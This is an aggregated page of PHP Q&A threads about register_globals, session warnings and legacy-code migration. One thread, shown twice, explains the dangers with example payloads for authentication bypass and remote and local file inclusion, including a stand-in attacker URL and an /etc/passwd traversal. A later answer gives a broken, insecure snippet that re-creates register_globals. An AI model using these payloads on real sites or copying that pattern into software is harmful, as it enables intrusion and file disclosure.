I'm been using PHP5.3.8 for a while now and I've just come across a new error for me;
Warning: Unknown: Your script possibly relies on a session side-effect
which existed until PHP 4.2.3. Please be advised that the session
extension does not consider global variables as a source of data,
unless register_globals is enabled. You can disable this functionality
and this warning by setting session.bug_compat_42 or
session.bug_compat_warn to off, respectively. in Unknown on line 0
To which there is a solution to here; PHP session side-effect warning with global variables as a source of data.
However, I still don't understand why this is happening. As far as I'm aware, there should be no ambiguity between $foo and $_SESSION['foo']?
I've tried testing a few of the scripts online that people say throw this error, but they don't throw the warning on my system, and the script I'm getting this warning on is hella complicated and stripping it down to a few lines in order to replicate the error is proving problematic.
However, I have narrowed it down to one line;
$bonus = isset($_GET['bonus']) ? $_GET['bonus'] : '';
$_SESSION['bonus'] is set to null in a previous page, and register_globals has been off since about PHP4.2 something, so can't be the $_GET scope.
So this brings me back to my first point; why is there suddenly an issue between $bonus and $_SESSION['bonus']? I say suddenly, because I am using this exact script on another site (same box) and I get no errors.
Could someone point me to anywhere that perhaps explains in more detail how PHP deals with session vars etc and why there is an issue between the two variables?
Thanks.
[Update]
Looking here; PHP Runtime Configuration it does mention that:
[PHP has...] an undocumented feature/bug that allows you to initialize a session variable
in the global scope...
I guess there may not be much more to say other than that. It just seems odd to me that PHP has issues with $_SESSION['foo']/$foo when $_SESSION['foo'] != $foo...
Try setting session.bug_compat_42 to off, it will turn off the functionality the warning is about. c.f. http://php.net/manual/en/session.configuration.php
Related
I have a problem with my Wordpress site, more specifically, The7 template. On every page, including the main page at the bottom of page below footer I have 4 Warnings which are the same:
“Warning: call_user_func_array() expects parameter 1 to be a valid callback, function ‘wp_filter_content_tags’ not found or invalid function name in on line”
I do not know how to solve it/turn it off. Could you tell me which PHP page or what exactly cause this problem to appear? It’s really annoying. Due to the fact that it is in the main body and not in any div/b/p/etc. tag I cannot hide it with CSS just for a while.
Kind regards
Peter
Hiding error reporting on prod
On prod you want to avoid showing errors, due to security and user experience reasons. To achieve this, in PHP you can run
error_reporting(0);
or, even better, in php.ini, you can have this line
error_reporting = off
What the error means
The error tells you that a function is to be called by name, but it does not exist. wp_filter_content_tags does not exist in your context.
Solution to the error
Even though you have hidden error reporting on prod, you still need to show errors on dev and that function might do something very useful. From the doc you can see that it's located in wp-includes/media.php. So, if you do not need to call this function, then search for its calls and remove them. If you need this function, then require or include it into your files. If, for some reason you cannot remove this function (for ex. you do not want to hack a template that might have some versions in the future), but the function/file is not helpful for you, then you can implement a function with the same name.
Thank you very much for answer. I used it to find solution and in my case there is a need to change wp-config.php a little bit. It means to add these specific lines to code:
ini_set('display_errors','Off');
ini_set('error_reporting', E_ALL );
define('WP_DEBUG', false);
define('WP_DEBUG_DISPLAY', false)
In my case it worked and no more errors / warnings showed on every / main pages.
Kind Regards
Peter
I'm not a PHP developer but i've seen in a couple of places that people seem to treat it like the plague or something. Why?
REGISTER_GLOBALS means that all variables passed through GET or POST are avilable as global variables in your script. Since accessing undeclared variables is not an error in PHP (it's a warning), it can lead to very nasty situations. Consider this, for example:
<?php
// $debug = true;
if ($debug) {
echo "query: $query\n";
}
It is not a bad thing per se (well engineered code should not generate warnings, therefore should not access any variables that might be undeclared (and should not need REGISTER_GLOBALS for the same reason)), but PHP code is usually [very] low quality, leading to this kind of security holes.
Enabling REGISTER_GLOBALS exposes webpages served by PHP to vulnerabilities which some bad guys will be keen to exploit.
With it enabled, any query string at the end of the URL:
http://yourdomain/something.php?valid=true
will affect the value of a variable $valid (for example) in something.php, if it exists.
If you're using publically available PHP code (a library for example) the names of variables are well known, and it would be possible for hackers to control their values by assigning values in the query string. They may be able to bypass authentication.
Even if you're not using public code, it may be possible to guess the names of important variables, and control their values.
It used to be the default to have REGISTER_GLOBALS enabled in PHP.INI
Recent practice has been to disable it by default. Enable it at your own risk!
Just to add, here are some situations where having REGISTER_GLOBALS enabled could ruin your day:
Using the query string to bypass access control (hack using http://example.com/?logged=1):
<?php
$logged = User::getLogged();
if ($logged)
{
include '/important/secret.php';
}
?>
Remote File Inclusion (RFI):
<?php
//http://example.com/?path=http://evilbadthings.example.com/
include "$path";
?>
Local File Inclusion (LFI):
<?php
//http://example.com/?path=../../../../etc/passwd
include "$path";
?>
Because it allows the user to inject any global variable in your code without any control.
Based on the quality of the code, it may introduce major security bugs.
I came across a bit of code working in someone else's code for a form validator. It was supposed to return a value from the form data posted. Anyway, it was always returning NULL. This is what the function was in its entirety (the assumption is that this code did work at one point):
function _getValue($field)
{
global ${$field};
return ${$field};
}
From the context in the other functions, I could tell it was trying to get the value from the (in this case) $_POST variable. When I changed the function to the following, everything worked like a charm:
function _getValue($field)
{
// $_REQUEST should hold $_GET and $_POST values
return $_REQUEST[$field];
}
So my question is... what the heck is global ${$field} mean in this context? I know what ${$field} is, but let's say they passed in email to that function. Where is this global $email variable coming from?
How is the original function supposed to have worked? I know there's something called "Super Globals" or something and that's bad. Is this related? Is that possibly why it stopped working? Did the host turn off Super Globals?
[EDIT] There was some obviously confusion in the way I phrased the question. I know what ${$field} and $$field means, but I don't know how
global ${$field};
return ${$field};
returns the value the user put into a form like
<input name="email">
when you call
$this->_getValue('email');
The programmer before you expected the POST variables to be in the global space, because of the register_globals directive. Thankfully, this feature has been turned off by default in PHP 4.2 and removed in PHP 5.4.
To quote the documentation:
When on, register_globals will inject your scripts with all sorts of variables, like request variables from HTML forms.
I wonder how could anyone think that was a good idea :)
Yes, it is related to register_globals and yes it is very bad. I think you have fetched that from very old code. Now by default Php comes with register_globals set to off. That's why the code was not working. Your fix is correct. Register_globals is bad because it generates a serious security risk issue.
Obviously got off track with my poor phrasing of the question, I apologize, but from the comments on Radu's post from Radu and pst, I found the following that answers my question perfectly (as found on http://php.net/manual/en/security.globals.php):
Note: Dealing with register_globals
If the deprecated register_globals directive is set to on then the
variables within will also be made available in the global scope of
the script. For example, $_POST['foo'] would also exist as $foo.
I'm not a PHP developer but i've seen in a couple of places that people seem to treat it like the plague or something. Why?
REGISTER_GLOBALS means that all variables passed through GET or POST are avilable as global variables in your script. Since accessing undeclared variables is not an error in PHP (it's a warning), it can lead to very nasty situations. Consider this, for example:
<?php
// $debug = true;
if ($debug) {
echo "query: $query\n";
}
It is not a bad thing per se (well engineered code should not generate warnings, therefore should not access any variables that might be undeclared (and should not need REGISTER_GLOBALS for the same reason)), but PHP code is usually [very] low quality, leading to this kind of security holes.
Enabling REGISTER_GLOBALS exposes webpages served by PHP to vulnerabilities which some bad guys will be keen to exploit.
With it enabled, any query string at the end of the URL:
http://yourdomain/something.php?valid=true
will affect the value of a variable $valid (for example) in something.php, if it exists.
If you're using publically available PHP code (a library for example) the names of variables are well known, and it would be possible for hackers to control their values by assigning values in the query string. They may be able to bypass authentication.
Even if you're not using public code, it may be possible to guess the names of important variables, and control their values.
It used to be the default to have REGISTER_GLOBALS enabled in PHP.INI
Recent practice has been to disable it by default. Enable it at your own risk!
Just to add, here are some situations where having REGISTER_GLOBALS enabled could ruin your day:
Using the query string to bypass access control (hack using http://example.com/?logged=1):
<?php
$logged = User::getLogged();
if ($logged)
{
include '/important/secret.php';
}
?>
Remote File Inclusion (RFI):
<?php
//http://example.com/?path=http://evilbadthings.example.com/
include "$path";
?>
Local File Inclusion (LFI):
<?php
//http://example.com/?path=../../../../etc/passwd
include "$path";
?>
Because it allows the user to inject any global variable in your code without any control.
Based on the quality of the code, it may introduce major security bugs.
I have inherited some legacy PHP code what was written back when it was standard practice to use register_globals (As of PHP 4.2.0, this directive defaults to off, released 22. Apr 2002).
We know now that it is bad for security to have it enabled. The problem is how do I find all the places in the code where I need to use $_GET or $_POST? My only thought was to set the error reporting to warn about uninitialized variables and then test each part of the site. Is there an easier way? Will I have to test each code path in the site or will PHP give a warning on a file basis?
If you set error reporting to E_ALL, it warns in the error log about undefined variables complete with filename and line number (assuming you are logging to a file). However, it will warn only if when it comes across an undefined variable, so I think you will have to test each code path. Running php from the command line doesn't seem to help also.
There is a debugging tool named xdebug, haven't tried it, but maybe that can be useful?
I wrote a script using the built-in Tokenizer functions. Its pretty rough but it worked for the code base I was working on. I believe you could also use CodeSniffer.
You could manually 'fake' the register globals effect but add some security. (I partly grabbed this from the osCommerce fork called xoops)
// Detect bad global variables
$bad_global_list = array('GLOBALS', '_SESSION', 'HTTP_SESSION_VARS', '_GET', 'HTTP_GET_VARS', '_POST', 'HTTP_POST_VARS', '_COOKIE', 'HTTP_COOKIE_VARS', '_REQUEST', '_SERVER', 'HTTP_SERVER_VARS', '_ENV', 'HTTP_ENV_VARS', '_FILES', 'HTTP_POST_FILES');
foreach ($bad_global_list as $bad_global ) {
if ( isset( $_REQUEST[$bad_global] ) ) {
die('Bad Global');
}
}
// Make global variables
foreach ($_REQUEST as $name -> $value) {
$$name = $value; // Creates a varable nammed $name equal to $value.
}
Though you'd want to tweak it to make your code more secure, at least by adding your global configuration variables (like the path and base url) to the bad globals list.
You could also use it to easily compile a list of all used get/post variables to help you eventually replace all occurrences of, say $return_url, with $_REQUEST['return_url];
I know that there's a way to set php.ini values for that script with a certain command, I thus went looking and found this too - Goto last post on page
I also found the following post which may be of use - Goto last post on the page
I will add to this more if nobody has found an answer but I must now catch a train.